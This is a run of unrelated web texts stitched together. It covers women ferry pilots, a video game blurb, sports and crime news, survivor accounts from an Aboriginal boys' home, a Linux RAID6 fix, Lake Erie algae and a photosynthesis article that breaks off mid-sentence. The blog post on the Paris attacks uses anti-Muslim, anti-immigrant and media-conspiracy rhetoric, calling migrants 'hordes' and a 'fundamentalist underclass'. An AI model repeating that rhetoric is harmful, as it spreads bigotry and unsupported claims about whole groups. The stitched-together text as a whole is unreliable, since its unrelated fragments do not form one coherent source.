2012. . Gloucester: History Press, 2012. King, Alison. Golden Wings . London: C. Arthur Pearson Ltd, 1956. . London: C. Arthur Pearson Ltd, 1956. Lucas, Y. M. WAAF with Wings . Peterborough: GMS Enterprises, 1992. . Peterborough: GMS Enterprises, 1992. Miller Livingston Stratford, Nancy. Contact! Britain! . Createspace, 2011. . Createspace, 2011. Moggridge, Dolores Theresa. Woman Pilot . London: Michael Joseph, 1957. Republished as: Moggridge, Jackie. Spitfire Girl. My Life in the Sky . London: Head of Zeus, 2014. . London: Michael Joseph, 1957. Republished as: Moggridge, Jackie. . London: Head of Zeus, 2014. Narracott, Arthur Henson. Unsung Heroes of the Air . London: F. Muller, 1943. . London: F. Muller, 1943. Phelps, Anthony. "I Couldn't Care Less." . Leicester: Harborough Pub. Co.; sole distributors to the trade: H. Marshall, 1945. . Leicester: Harborough Pub. Co.; sole distributors to the trade: H. Marshall, 1945. Schrader, Helena. Sisters in Arms . Barnsley: Pen & Sword Aviation, 2006. . Barnsley: Pen & Sword Aviation, 2006. Taylor, Leonard. Airwomen's Work . London: Sir Isaac Pitman & Sons, 1943. . London: Sir Isaac Pitman & Sons, 1943. Thomas, Nick. Naomi the Aviatrix . Createspace, 2011. . Createspace, 2011. Volkersz, Veronica. The Sky and I . London: W.H. Allen, 1956. . London: W.H. Allen, 1956. Walters, Anthony Jack. Air Transport Auxiliary (The Lost Child) . Wallingford: Aries Publications, 2006. . Wallingford: Aries Publications, 2006. Welch, Ann Courtenay Edmonds. Happy to Fly: An Autobiography . London: John Murray, 1983. . London: John Murray, 1983. Wheeler, Jo. The Hurricane Girls: The Inspirational True Story of the Women who Dared to Fly . London: Penguin Books, 2018. ISBN 978-0-241-35463-6 . London: Penguin Books, 2018. ISBN 978-0-241-35463-6 Whittell, Giles. Spitfire Women of World War II. London: Harper Press, 2007. Fiction [ edit ] Dewar, Isla. Izzy's War . Ebury Press, 2010. . Ebury Press, 2010. Gould, Carol. Spitfire Girls: A Tale of the Lives and Loves Achievements and Heroism of the Women ATA Pilots in World War II . Forfar: Black Ace Books, 1998. . Forfar: Black Ace Books, 1998. Lord Brown, Kate The Beauty Chorus . London: Corvus Atlantic, 2011 . London: Corvus Atlantic, 2011 Matthews, Beryl. A Flight of Golden Wings . Sutton: Severn House, 2007. . Sutton: Severn House, 2007. Morrison, Margaret and Pamela Tulk-Hart, Paid to Be Safe . London: Hutchinson, 1948. . London: Hutchinson, 1948. Ryan, Garry, Blackbirds (2012) and Two Blackbirds (2014). Calgary, AB: NeWest Press. (2012) and (2014). Calgary, AB: NeWest Press. Schrader, Helena. The Lady in the Spitfire . Lincoln, Nebraska: iUniverse, Inc, 2006. . Lincoln, Nebraska: iUniverse, Inc, 2006. Singer, E. M. Mother Flies Hurricanes . Bend, OR: Avidia Cascade Press, 1999. . Bend, OR: Avidia Cascade Press, 1999. Terrell, George. I'll Never Leave You . San Jose: Writer's Showcase, 2001. . San Jose: Writer's Showcase, 2001. Wein, Elizabeth. Code Name Verity (Electric Monkey, 2012) and Rose Under Fire (2013) Other books that mention the ATA's women pilots [ edit ] Bell, Elizabeth S. Sisters of the Wind: Voices of Early Women Aviators . Pasadena, CA: Trilogy Books, 1994. . Pasadena, CA: Trilogy Books, 1994. Jaros, Dean. Heroes Without Legacy: American Airwomen, 1912-1944 . Niwot, CO: University Press of Colorado, 1993. . Niwot, CO: University Press of Colorado, 1993. Keil, Sally Van Wagenen. Those Wonderful Women in Their Flying Machines: The Unknown Heroines of World War II . New York: Rawson, Wade Publishers, 1979. . New York: Rawson, Wade Publishers, 1979. Lomax, Judy. Women of the Air. New York: Dodd, Mead, 1987. -About This Game Man O' War: Corsair. Engage in epic naval combat and explore the oceans of the Warhammer world. Man O' War: Corsair is a video game of high adventure, naval combat and exploration based on the Games Workshop classic Man O' War table top game. Your Quest Sail the seas plundering enemy ships, visiting ports, and trading. Dominate everything in your path with a fleet of ships at your back and watch people flee at the mere sight of you, leaving legends of your deeds in the history books and steel through the hearts of your enemies. Explore and Fight Captain a wide variety of unique sailing vessels, explore and trade whilst combating enemy ships in frantic naval action. Boarding Actions As well as sea battles, engaging in boarding actions with enemy vessels sees you walking the deck, weapon in hand, attacking enemy crew. Loot the vessels or sink them, the choice is yours. Enemies and Allies Buy a variety of unique and deadly ships. Command allies from different races and fight many deadly enemies. Fierce storms, deadly fleets and terrible foes will block your path to ultimate glory. Custom Battles Build your own fleet from any faction in game, and battle it against any foe you choose. The Old World A captain in Man O' War: Corsair can sail the coast of a huge continent in the Warhammer world. Visiting over 50 ports from Erengrad to Sartosa, the sea is yours to explore. A heroic adventurer does not only have enemy ships to contend with. The deep and unexplored oceans hold terrifying creatures that few see and live to tell the tale. These deadly creatures emerging from the deep sea will chill blood and drop jaws in equal measure. The wise would attempt to flee but those brave enough to tackle such creatures will be famed throughout the world. Here there be monsters.... -You're probably thinking: "Big deal, so someone tied a big old balloon to a hot dog and a video camera and sent them into space. That's been done before except with sushi." The difference here? The guys from San Francisco's Zog's Dogs managed to retrieve their hot dog when it fell back down to earth and then they ate it. To celebrate the achievement of having sent "the first hot dog into outer space," Zog's Dogs is, uh, launching a Space Dog Combo for $5. It is, of course, a Zog Dog with Astronaut Ice Cream for dessert. Are space dogs okay to eat? Anybody? Video: The First Hot Dog in Outer Space · The First Hot Dog in Outer Space [YouTube via HuffPo] · All Hot Dog Coverage on Eater [-E-] · All Space Food Coverage on Eater [-E-] -Getty Images Count Seahawks cornerback Richard Sherman as one NFL player who hasn’t changed his opinion about the game he plays as he’s learned more about the risks of concussions. Sherman told GQ that he hasn’t changed his approach and would love to see his son play football if he wants to. “It doesn’t change the way I play,” Sherman said. “I’ve always tried to tackle with the best form, and not try to always get people down on the ground without using my head. But it doesn’t change the way I think about the game or how I feel about my kids playing the game. I feel like this game has given me a lot more than its taken. It obviously takes a toll on your body and you understand the risks going into it, but you also have to understand that it’s taught me discipline, hard work, teamwork, being dependable, being available, how to be a leader, how to work past adversity. Just so many things that you use in your everyday life. And you can’t take that for granted. So maybe my son doesn’t end up being a professional athlete, maybe he never even plays a sport, but I wouldn’t hold him back from something that’s been so great to me.” At a time when some players are retiring early and citing concussions as the reason, Sherman’s view still seems to be the majority opinion about NFL players: There are risks associated with playing football, but the risks are outweighed by the rewards. -Police arrest 2 Arabs, hunt 3rd, after they were documented committing horrific rape of mentally disabled girl while shouting racist slurs. Two Arab residents of Judea and Samaria as well as an Arab citizen of Israel are suspected of raping a 20-year-old mentally disabled Jewish girl two weeks ago for "nationalistic" motives, as was revealed on Wednesday when a media gag order on the case was lifted. All three were documented in footage they filmed two weeks ago raping the mentally handicapped girl in a motel in southern Tel Aviv, humiliating her and spitting on her while shouting racist slurs and threatening to harm her family. Police hid the case from the public for ten days out of concerns it would spark clashes between Jews and Arabs. "Nationalistic motives" is a term used in describing terror attacks, as opposed to criminal motives. The gag order came despite the fact that police arrested two of the perpetrators a full nine days ago, and are currently hunting down the third rapist whose identity is known to the police. One of the three attackers is a minor from Jaffa (Yafo), and he was arrested. Another arrested suspect, Amad Al-Din Daragmeh from the Judea-Samaria region, apparently filmed the vile gang-rape with the goal of spreading the video. He was brought to the Tel Aviv Magistrate's Court on Wednesday morning for an extension of his arrest, where the judge emphasized the severity of the case and the condition of the victim. The traumatic incident has left the victim in a difficult psychological state and she requires treatment. -A Class VI textbook of science taught in some of the schools under the Council for the Indian School Certificate Examinations (CISCE) has kicked up a controversy with one of its chapters using a Mosque-like image in pictorials to explain the sources of sound pollution. The issue first came to the light after someone reportedly circulated a message on Whatsapp about the pictorial used in the textbook titled, Integrated Science. It later gained steam as people began sharing the controversial pictorial on various social networking sites. One Masood Pasha, meanwhile, started a petition with a single signature at petition.org, demanding the removal of the pictorial. His petition had drawn more than 6000 supporters till Sunday. The pictorial in the textbook has shown a man standing among various sources of sound pollution including an aeroplane, a fast moving train, couple of four wheelers and a Mosque-like building. “The text book of science of ICSE board sixth class has a picture of noise pollution and it is illustrating the Mosque/Masjid is one of the reasons for sound pollution. It is totally wrong to point at one specific religion as a one of the reasons for the noise pollution. It will create unnecessary hatred among young minds of tender age kids. Pls (sic) remove the Mosque/Masjid picture so that we can avoid polluting younger minds in our country,” Pasha demanded in his petition. A news agency quoted the chief executive and secretary of the CISCE Gerry Arathoon as saying in his response to the row that the ICSE did not publish “or prescribe these textbooks.” "If any book with objectionable content is being taught at certain schools, it is for schools and publisher to ensure such a thing does not happen," Arathoon told the news agency. Selina Publishers, which published the book, regretted over the controversy and promised that it will be removed from the textbook in next editions. “The diagram on page 202 of our publication integrated science for Class-VI has a structure resembling a portion of a fort and other noise producing objects in a noisy city. We apologise if it has hurt the sentiments of anyone. This is to inform all concerned that we will be changing the picture in our subsequent editions of the book,” Hemant Gupta said on behalf of the Selina Publishers in a statement uploaded on the Twitter. -Kinchela Boys' Home survivors tell of removals, sexual abuse and redemption Updated A vast old Moreton Bay fig tree stands on the grounds of what was once the notorious Kinchela Boys' Home — exerting a strange power over a group of Aboriginal men who once lived there. Like a monstrous character, it looms in their collective memory, of a deeply scarred childhood. "That tree — it felt our pain," Richard Campbell says. Richard is a former inmate of the Kinchela Boys' Home, near Kempsey on the mid-north coast of New South Wales, where he was identified by the number 28. The boys who passed through the iron gates of the home between 1924 and 1970 were not known by their names. Indeed, they were prevailed upon immediately to forget who they were. A Gumbaynggir and Dhungutti man from Bowraville, Richard remembers the first punishment he received, on the day he arrived at Kinchela. The nine-year-old, charged just days before at Macksville with being a neglected child, was welcomed by the balled fists of a staff member. "First thing, he just started belting into us," Richard says. "He said 'you are not Richard Campbell' — bang. 'You are 28' — bang. 'You are not black, you are white' — bang. This was all in between hits around the head. "Not with the hand, it was a fist. Imagine a grown man's fist. Welcome to Kinchela Boys' Home." A cruel separation at Central Station Michael "Widdy" Welsh was number 36 at Kinchela. In 1960, the Wailwan man was taken from Coonamble in the far-north west of New South Wales when he was eight years old — one of seven children removed from his mother. He still recalls life before Kinchela. "I danced around the campfire, around my grandfather's hat, with my grannies and uncles," he says. "I used to go cray fishing, used to go pig catching, saddle the horses up — before they took me." Escorted by welfare officers, the Welsh family was forced apart on a train platform at Sydney's bustling Central Station. "They told us we were going on a train and our brothers and sisters were going to come on a train behind us," Michael says. "What they were telling me, I knew that wasn't true. I didn't know what the word bullshit was, but that's what it was." The 'crime' of being a neglected child Richard was taken from his mother with an older brother and three younger sisters in the 1960s. Unbelievably, Aboriginal child removals were a police matter. It was standard procedure to charge children — babies included — with the offence of being a neglected child. In the harsh eyes of the law, these innocent children were, to all intents and purposes, criminals. "We went to the court in Macksville that's where they charged us," Richard says. "From there we drove straight across over to Kinchela. Then they held us there and took off with the three younger sisters. We could hear them crying [and] screaming going down the street." Richard's three sisters were sent much further away — to the Bomaderry Children's Home, just outside Nowra on the south coast of New South Wales. If the forced separation, being charged by police and then bundled into cars and trains under the supervision of complete strangers wasn't traumatic enough, much worse was yet to come. Michael says when he arrived at Kinchela, his eldest brother, 10-year-old Barry — who he calls his protector — tried to comfort him. "We were walking through the gates, he cuddled me as we went through, and he said 'it'll be alright brother'," Michael says. "I knew this place was no good, it was evil." That day, after being escorted to the manager's office, Michael recalls looking out an upstairs window and seeing a boy below digging what appeared to him to be a grave. "He was on punishment. He was going to dig that all day ... so that added to the fear," he says. 'A bonzer bunch of kids' In 1965, a glowing report on the conditions at Kinchela was published in the widely-distributed Dawn, a monthly magazine produced by the NSW Aborigines Welfare Board to promote its activities. "It's almost like a country club at Kinchela," the article begins. "The boys were neglected before coming to Kinchela, but now they receive truly dedicated care and real affection from the home's mum and dad, who are manager and matron at Kinchela." The writer concedes though that "discipline at such an establishment must be reasonably strict". The manager, Henry Henricksen, told Dawn that he had "the most bonzer bunch of kids in Australia". In an interesting postscript, a year after Dawn visited the home, the same man appeared before a parliamentary joint committee inquiring into Aboriginal welfare in New South Wales. Asked bluntly whether Kinchela was little more than a "holding station", until such a time as the boys were fit to work or be boarded out, Mr Henricksen replied: "Yes, it is a pretty harsh description of it, but I say that that fits the bill". Crying in another room Richard's account of his own childhood differs wildly from that of Dawn. He doesn't hesitate when asked to recount the worst of his experiences at Kinchela. "Getting raped … that was an ongoing thing," he says. "When he was drunk you could smell him coming in. Not only myself, other boys used to get it too. "He'd take someone else, and you'd be very thankful. You just don't want to think about it that way — but you could hear them crying and you knew what was going on." When Michael returned home to Coonamble just before he turned 18, he was reunited with his mother and they were able to confront their grief. While his cousins knew his face, they didn't recognise him. "Soon as I started talking, you'd see something in their eyes. I'd think 'shit, what's wrong, what did I say?'," Michael says. "I realised later as time went by, I didn't speak like them — I'd changed, they'd reprogrammed our brains to be assimilated." From alcoholism to a healing alliance A personal war raged inside Michael for the next 45 years, in and out of the jail system, as he battled alcoholism. Twenty years ago, the national inquiry into the forced removal of Aboriginal children, presided over by former High Court judge Sir Ronald Wilson, handed its findings to the Commonwealth in the Bringing Them Home report, including 54 recommendations. At the time, Richard was oblivious. "I was still trying to kill myself with alcohol," he says. "What came out of it? I don't know what came out of it because they're still taking the kids away." The trauma the boys endured at Kinchela has had one positive effect — deepening the fellowship between them. They have established an incorporated Aboriginal organisation, the Kinchela Boys Home Aboriginal Corporation. "Now, I realise the importance of our stories," Michael says. "We couldn't tell the story because we didn't think anybody would believe us. We thought everybody knew what was happening to us." A silent witness to suffering When the boys go back to Kinchela for commemorations, such as the 90th anniversary three years ago, both Richard and Michael zero in on that big old Moreton Bay fig tree in the grounds of the former home, which is now a drug and alcohol rehabilitation centre. As they talk, the story unfolds about why the tree is so significant to them. Like animals, the boys were chained to the trunk of the tree overnight, as punishment for wetting the bed and failing to pass inspection, for dirty fingernails. Worse still was done to them under the monstrous — or enfolding — limbs of the tree. "That's where they used to chain the boys up in the night and do whatever they liked to them," Richard says. But as they gather at the base of the tree on special occasions, redemption seems possible. "Every time we go back, the tree has grown over the chain," Richard says. He says almost like a sentient being, the magnificent old tree had borne silent witness to their suffering. Most of the iron links of the chain have rusted away, or been absorbed by the tree, and only the loop and a few links remain. "It felt our pain, and it's grown over our pain — it's grown over the evil of that chain," Richard says. Michael says he hoped he lived to see the last link of the chain disappear, swallowed up by the tree. "That tree is our power." Topics: indigenous-aboriginal-and-torres-strait-islander, indigenous-policy, community-and-society, children, child-abuse, kempsey-2440, nsw First posted -One of the worst terrorist attacks in recent history is currently taking place across Paris. According to media reports, at least seven separate sites are under siege in a coordinated operation that has claimed over 100 lives. One of the most notable venues attacked in this operation is the Bataclan concert hall, where during a concert terrorists reportedly used Kalashnikov rifles to gun down concert-goers while shouting “Allahu Akbar” (source: Breitbart). Information continues to be sparse about the attacks, though France’s President Hollande has already closed the borders and mobilized the military after declaring a state of emergency. As of Friday at 7pm ET, the death doll has reached above 140 in the Bataclan concert hall alone, with eyewitnesses describing the scene as one of utter destruction (source): “It was carnage,” Marc Coupris, 57, told the Guardian, still shaking after being freed from being held hostage at the Bataclan, a popular concert venue. “It looked like a battlefield, there was blood everywhere, there were bodies everywhere. I was at the far side of the hall when shooting began. There seemed to be at least two gunmen. They shot from the balcony.” “Everyone scrabbled to the ground. I was on the ground with a man on top of me and another one beside me up against a wall. We just stayed still like that. At first we kept quiet. I don’t know how long we stayed like that, it seemed like an eternity. “I saw my final hour unfurl before me, I thought this was the end. I thought I’m finished, I’m finished. I was terrified. We must all have thought the same. Eventually, when a few gendarmes came in slowly we began to look up and there was blood absolutely everywhere. The police told us to run.” Leftist media mouthpieces will be quick to caution sites like this one against drawing “hasty conclusions” from a heinously tragic event, but our media masters can only pretend for so long that the emperor of multiculturalism is still wearing any clothes. Immigration has been a hot-button issue recently both domestically and abroad. Even larger than taking central stage in the US presidential election, the recent influx of Syrian immigrants across the European Union and the resulting cultural and economic upheaval has drawn massive criticism from grassroots media and native residents of the countries affected, but shockingly little mainstream media criticism. Why? Our own Michael Sebastian reported on this issue recently, with a shocking revelation from Mark Zuckerberg and German Chancellor Angela Merkel colluding to wipe negative comments about German immigration policy from Facebook: Merkel was complaining to Zuckerberg about posts by Facebook users who were critical to the hordes of Muslim migrants who are flooding Germany and other European countries. Zuckerberg responded that: “[W]e need to do some work” on curtailing anti-immigrant posts about the refugee crisis. “Are you working on this?” Merkel asked in English, to which Zuckerberg replied in the affirmative before the transmission was disrupted. What pretense will Facebook use to ban Germans from legitimately discussing the policy concerns of their country, which purports to be a democracy? Racism, of course: Loading... We are committed to working closely with the German government on this important issue,” Debbie Frost, a spokeswoman for Menlo Park, California-based Facebook, said via e-mail. “We think the best solutions to dealing with people who make racist and xenophobic comments can be found when service providers, government and civil society all work together to address this common challenge. But can a true democracy exist when the public, who are supposed to be ultimate authority for the government, are not permitted to frankly debate policies? What they’re not saying Roosh’s recent video about how the multicultural narrative is collapsing before our very eyes appears even more prescient in light of the last couple weeks, with refugee-accepting Sweden now counting itself as the rape capital of the West and dealing with the harassment of its citizens by Muslim immigrants. Tonight’s tragic events mark the next grim reminder that forced importation of a religious fundamentalist underclass is at odds with the self-preservation of any Western nation. But why is it so controversial to say so? The media establishment clearly has a vested interest in keeping the average person ignorant of the dangers of mass cultural manipulation. Milo Yiannopoulos was one of the first to point out the media’s soft-pedaling of the Muslim terrorism angle in its coverage of the Paris terrorist attacks: https://twitter.com/Nero/status/665313187735162881 https://twitter.com/Nero/status/665328369022578688 https://twitter.com/Nero/status/665328237048758273 It’s clear that the masters of our media, who themselves promote the destruction of distinct Western national identities through massive immigration initiatives, have instructed their megaphones to remain silent on this issue. A quick control-F of the top story on the New York Times, CNN, and ABC is shockingly absent of the words “Islam” or “Muslim,” despite strong circumstantial evidence and eyewitness accounts that almost inextricably link these actions to Muslim terrorism. The only occurrence of the word came from the New York Times in this passing remark: There was no immediate claim of responsibility, but Twitter erupted with celebratory messages by members and sympathizers of the Islamic State, the extremist group based in Syria and Iraq that is under assault by major powers including the United States, France and Russia. ROK’s coverage on this issue will continue for the foreseeable future, but in the meantime you must question every source you see reporting on this issue. Why is the story being reported in a certain way, one that encourages “tolerance” and not “jumping to conclusions,” when similarly deplorable domestic incidents are immediately ascribed to racism and gun control issues? Why are they lying to us, when the facts show a cultural disaster in the making that has already cost hundreds of innocent lives just in the last few hours? The most chilling thing is that this may only be the beginning. Read More: Only White Countries Are Expected To Let In Hordes Of Illegal Migrants -A Taxpayer-Funded Brooklyn Principal Is Under Investigation For Promoting Revolutionary Communism Eric Owens Education Editor The New York City Department of Education is investigating a taxpayer-funded secondary school principal in Brooklyn for allegedly promoting communism and recruiting students for radical political causes. The principal, Jill Bloomberg of Park Slope Collegiate, has responded by filing a federal lawsuit seeking to stop the investigation, reports New York public radio station WNYC. The New York City education department initiated its investigation into Bloomberg’s alleged communist and communist-recruitment activities based on a tip from someone who remains anonymous. The tipster told officials that Bloomberg is affiliated with the Progressive Labor Party, a revolutionary communist political party based in Brooklyn. Court documents filed by the education department say that the investigation is focused on allegations that Bloomberg has worked to promote the agenda of the Progressive Labor Party by recruiting students “to participate in organizational activities, including marches for her political organization.” According to the Progressive Labor Party’s website, the group seeks to foment violent revolution. “Only the dictatorship of the working class — communism — can provide a lasting solution to the disaster that is today’s world for billions of people. This cannot be done through electoral politics, but requires a revolutionary movement and a mass Red Army led by PLP.” Also: “Communism means the Party leads every aspect of society. For this to work, millions of workers — eventually everyone — must become communist organizers. Join Us!” (RELATED: These Mugshots Of Commie Trump Protesters Will Make Your Day) The Progressive Labor Party “fights to destroy capitalism and the dictatorship of the capitalist class” by organizing “workers, soldiers and youth into a revolutionary movement for communism.” Court documents filed by New York City’s education department allege that students who disagree with Bloomberg and her comrades “are not allowed to express” their political views. In addition, the school district says, Bloomberg and her husband used footage of Park Slope Collegiate students and staff in documentary for a Progressive Labor Party-affiliated group “without authorization” from the students or staff members. The policies of New York City’s school district “prohibit the use of school facilities, equipment and supplies on behalf of political organizations,” according to the education department’s court filing. Bloomberg’s lawsuit concerning the investigation — filed Friday — contends that the investigation into her alleged communist activities is retaliation because she opposes racism and has criticized the New York City Board of Education for, she says, practices that amount to segregation. Earlier this year, Bloomberg charged the education department with discrimination because, she said, a school with many white students received more sports equipment than Park Slope Collegiate did. The students at Park Slope Collegiate are primarily black and Latino. Supporters of Bloomberg packed a Lower Manhattan courtroom for a hearing related to Bloomberg’s lawsuit. Many of them all wore the same t-shirts. After the hearing, Bloomberg and her supporters spoke. “What speech is prohibited?” Bloomberg asked, according to Chalkbeat, an education news outlet. “The speech I am most known for is anti-racism,” the principal also said. Bloomberg’s supporters recited her message in remarkably similar fashion. A Park Slope Collegiate eighth grader named Maya showed up at the court proceedings to declare that Bloomberg only wants to fight against racism. “It’s just upsetting that she’s being accused of stating her own political views when she’s just stating the facts that racism is here,” Maya informed Chalkbeat. A special education teacher, Sarah Vega, swore that Bloomberg never tries to indoctrinate students with revolutionary communist propaganda. “I’ve worked for her for over a decade,” Vega told Chalkbeat. “I’ve never seen her furthering any political agenda whatsoever. She fights against racism, but I don’t really consider that partisan politics.” Bloomberg has indicated that she does not belong to the Progressive Labor Party. This week, a federal judge is expected to decide whether to allow the investigation by school officials to proceed. Read more: http://dailycaller.com/2017/05/03/a-taxpayer-funded-brooklyn-principal-is-under-investigation-for-promoting-revolutionary-communism/ Content created by The Daily Caller News Foundation is available without charge to any eligible news publisher that can provide a large audience. For licensing opportunities of our original content, please contact licensing@dailycallernewsfoundation.org. Share this: Facebook Twitter LinkedIn Reddit Pinterest Tumblr WhatsApp Telegram Pocket Like this: Like Loading... Related Comments comments -diff options context: 1 2 3 4 5 6 7 8 9 10 15 20 25 30 35 40 space: include ignore mode: unified ssdiff stat only author 2014-08-13 09:57:07 +1000 committer 2014-09-17 09:22:16 -0700 commit ba1f6592cb07d4d7025112e1ffcf279d904c7146 (patch) tree dc3845f5f3806921e3f0fe573b8aa17ff1789b2a parent 706d916414bf623b20c4626cc6096bb0839263dc (diff) download linux-ba1f6592cb07d4d7025112e1ffcf279d904c7146.tar.gz md/raid6: avoid data corruption during recovery of double-degraded RAID6 commit 9c4bdf697c39805078392d5ddbbba5ae5680e0dd upstream. During recovery of a double-degraded RAID6 it is possible for some blocks not to be recovered properly, leading to corruption. If a write happens to one block in a stripe that would be written to a missing device, and at the same time that stripe is recovering data to the other missing device, then that recovered data may not be written. This patch skips, in the double-degraded case, an optimisation that is only safe for single-degraded arrays. Bug was introduced in 2.6.32 and fix is suitable for any kernel since then. In an older kernel with separate handle_stripe5() and handle_stripe6() functions the patch must change handle_stripe6(). Fixes: 6c0069c0ae9659e3a91b68eaed06a5c6c37f45c8 Cc: Yuri Tikhonov Cc: Dan Williams Reported-by: "Manibalan P" Tested-by: "Manibalan P" Resolves: https://bugzilla.redhat.com/show_bug.cgi?id=1090423 Signed-off-by: NeilBrown Acked-by: Dan Williams Signed-off-by: Greg Kroah-Hartman 1 files changed, 2 insertions, 0 deletions -Some farms use subsurface tile drainage systems, which can discharge into streams and ditches. (Photo: Bruce Chambers/The Drone Store LLC) CATAWBA ISLAND - Since the resurgence of Lake Erie’s biggest monster over the last decade, harmful algal blooms, scientists have been working vigorously to pinpoint the root of the problem and what is causing it. Over time, a lot of progress has been made on that front. Having dealt with it in the 1970s, scientists were able to determine back then that excess phosphorus runoff making its way to the lake was feeding the algae and leading to the harmful blooms. As a result, significant conservation efforts were taken to reduce the amount of total phosphorus being drained and discharged along Lake Erie. It was not until much more recently, as the algae kept blooming despite those efforts, that a specific culprit was eventually found: dissolved reactive phosphorus. An entirely new model for the study of the lake’s harmful algal blooms is based on the finding, according to Jeff Reutter, former director of the Ohio Sea Grant and Stone Laboratory on Gibraltar Island. And researchers have made another disturbing discovery: That much of the action taken over the past several years to address the algae problems is not having the desired impact. The 2015 bloom was the worst ever recorded for Lake Erie, and perhaps most concerning, the problem is getting worse, not better. Questions remain about the where the leading sources of this more specific nutrient, dissolved reactive phosphorus, are coming from. Research has shown heavy rains exacerbate the problem by causing sudden significant influxes of nutrients into the lake. Much of the discussion has been about chemical fertilizers used by farmers in Lake Erie's Western Basin, many of whom have been already taking those conservation efforts to reduce their phosphorus runoff. An area not yet widely discussed is the dissolved phosphorus and other nutrients caused by manure runoff. Pam Taylor, an environmental activist from Lenawee County, Michigan, and member of the Sierra Club’s “Less=More” coalition, spoke at a panel on harmful algal blooms hosted by the Lake Erie Improvement Association at the Catawba Island Club last week. Taylor worked extensively on the Environmentally Concerned Citizens of South Central Michigan (ECCSCM) study titled, “Follow the Manure,” which examined the impact manure discharged by factory farms had on the Lake Erie algal crisis. “We have less than 1 percent of the animals, but we send you about 18 percent of manure in the watershed,” Taylor said. “That’s because we have mostly dairy cows.” She noted one dairy cow excretes the equivalent waste of between 20 to 23 humans every day. “So we’re sending you the equivalent waste of the City of Boston every day.” The study monitored 46 different sites where 13 factory farms produce and apply manure in 20 different townships in Michigan. When factory farms meet the threshold of total animals at a facility, they are classified as a concentrated animal feeding operation (CAFO), the “largest of the large” farms, and have to be granted a National Pollutant Discharge Elimination System (NPDES) permit for manure by the Environmental Protection Agency. At the sites, edge-of-field water samples are taken and tested for E. coli, biological oxygen demand (BOD), dissolved oxygen, nitrates, phosphorus, ammonia and temperature. Through October 2015, results of those tests from fields where manure was applied in Lenawee and eastern Hillsdale County areas of the Western Lake Erie Watershed showed 100 percent had phosphorus levels above 0.1 milligram per liter, a concern for aquatic life, and 89 percent met or exceeded 1.0 milligram per liter, Michigan’s water quality point discharge standard for total phosphorus. “Those levels are increasing, not decreasing,” Taylor said. “Actually, every level increased this year. It was higher in everything.” Thomas Van Wagner, a retired USDA employee now under contract with the conservation district in Lenawee County, said the “Follow the Manure” report is faulty. He believes they are leveraging Lake Erie’s algae issues to point the finger at livestock, using a kernel of truth and twisting it around. He also said most of the very large operations referred to are already very highly regulated. A total of 146 farms are in the Western Lake Erie Watershed — 57 in Ohio, 75 in Indiana and 14 in Michigan. In 2014, they held 11.6 million animals and produced 690.8 million gallons of manure. ECCSM data includes permit violations since the year 2000, where the EPA or a state agency cited a farm for violating the Clean Water Act. Van Wagner said many of those violations have not had anything to do with water quality. “This could be something simple like a paperwork problem, didn’t submit the right paperwork on time,” Taylor acknowledged. “But it can also include something serious like a discharge where they were pumping manure basically right into the waterway, and we’ve seen that.” Of the 230 permit violations from CAFOs in the watershed, 112 were discharges of pollutants directly into the waters of the respective state. “Those are the ones we want to minimize,” Van Wagner said. “We can’t always eliminate all discharges, but we can try to minimize the risk as best we can. Sometimes we have some rain storms that will cause some issues that are above and beyond people’s control.” Wyandot, Hardin and Defiance counties in Ohio have the highest concentrations of animals housed. Despite the animal concentration numbers, Paulding County on the western border in Ohio and Lenawee County on the southern border of Michigan produce the most manure. Farms in Lenawee also have had by far the most permit violations and illegal discharges since 2008. “It’s important to note, the algae don’t care where the phosphorus comes from,” Reutter said. He said he does not draw a distinction between commercial chemical fertilizers and manure. It isn't just the application of manure, but also whether the drainage systems are sufficient, Reutter said. “Manure isn’t inherently bad, and sewage sludge isn’t inherently bad, but if you put on too much, that’s a big, big problem.” “What happens," Taylor said, "is they apply the manure and it doesn’t even bother to run off, it just goes straight down and then out through the tiles.” That means it also bypasses any erosion-control measures, which research has shown to be the case. “Theses conservation practices were developed to reduce erosion and to control nitrates, which have a much larger particle size than dissolved phosphorus,” she said. Taylor pointed to 15 years of subsidized erosion-control measures, such as no till, conservation tillage, buffers, grass strips, constructed and two-stage ditches, tile plugs and cover crops, especially in the winter. “In spite of all these things, we’ve seen our phosphorus levels continue to go up.” Application at the wrong time is a problem they’ve observed as well. Manure and waste applied to snow or frozen ground simply runs off. “It just makes sense, right. It can’t go anywhere,” Taylor said. One persistent message during the Lake Erie Improvement Association’s hosted panel last week was whether to declare the Western Lake Erie Basin officially “impaired.” It’s a distinction outlined in the Clean Water Act that would immediately trigger an assessment by the EPA, which would formulate and implement a recovery plan. The plan would include much more rigorous restrictions for the amount of pollutants that can be drained into the lake, called total maximum daily load (TMDL), enforcing a standard for the basin that would cross state lines. This is the first recommendation the “Follow the Manure” report offers toward addressing the algae problem. State Rep. Steve Arndt (R, Port Clinton), who joined the panel, was asked if Ohio legislators will seek stricter sewage and septic requirements for factory farms, and while he said he believes it will be part of the discussions going forward, it is too premature to say for sure. Another point discussed at length by the panel was an agreement by Ohio, Michigan, and Ontario, Canada, to reduce phosphorus runoff by 40 percent. Taylor said they found out a few weeks ago there is no baseline data available for Michigan’s portion of the Maumee sub-watershed, questioning how a 40 percent reduction can be measured without that baseline. Another recommendation, and one of the primary objectives of the “Less=More” coalition, is cutting subsidies to factory farms with violations and give the money to smaller farms that are genuine in their efforts to help solve this problem. This effort, handing out less to the violators means more clean water, inspired its name. “Maybe it’s time to look at where that money is going and maybe shift it to people who are doing the right things, instead of feeding the bad actors,” Taylor said. “Helping the people who are sincerely interested in doing things right. “Especially the smaller farmers. They’re the ones getting crunched. The small livestock farmers are getting just crushed by this. And we’d like to see the money go to them so that they can buy the equipment, they can set up storage facilities they need.” The best solution, according to “Follow the Manure,” is stopping the problem at the source. “Don’t ever let it get into the water to begin with,” Taylor said. jstinchcom@gannett.com 419-680-4897 Twitter: @JonDBN Read or Share this story: http://ohne.ws/1Yr0SsQ -Source: iStock Scientists have been mimicking nature for years, but few discoveries are this successful, or important. In an effort to develop clean, renewable energy sources, a team from the Australian National University has successfully duplicated one of the more crucial steps in photosynthesis, the process in which plants actively turn sunlight into energy. Why’s it a big deal? Because it could ultimately open the door to harnessing the process for energy cultivation. If scientists are able to successfully take the photosynthesis process — which turns sunlight into chemical energy — and apply it to industrial biological systems, sunlight could be used to manufacture hydrogen, which could then be used as fuel. Hydrogen is already used as a fuel in many instances, and if applied on a large scale, it could serve as a replacement for petroleum — all the while contributing no new carbon to the atmosphere. Not only are the two main components required for photosynthesis available in wide abundance, but they are also cheap. “Water is abundant and so is sunlight. It is an 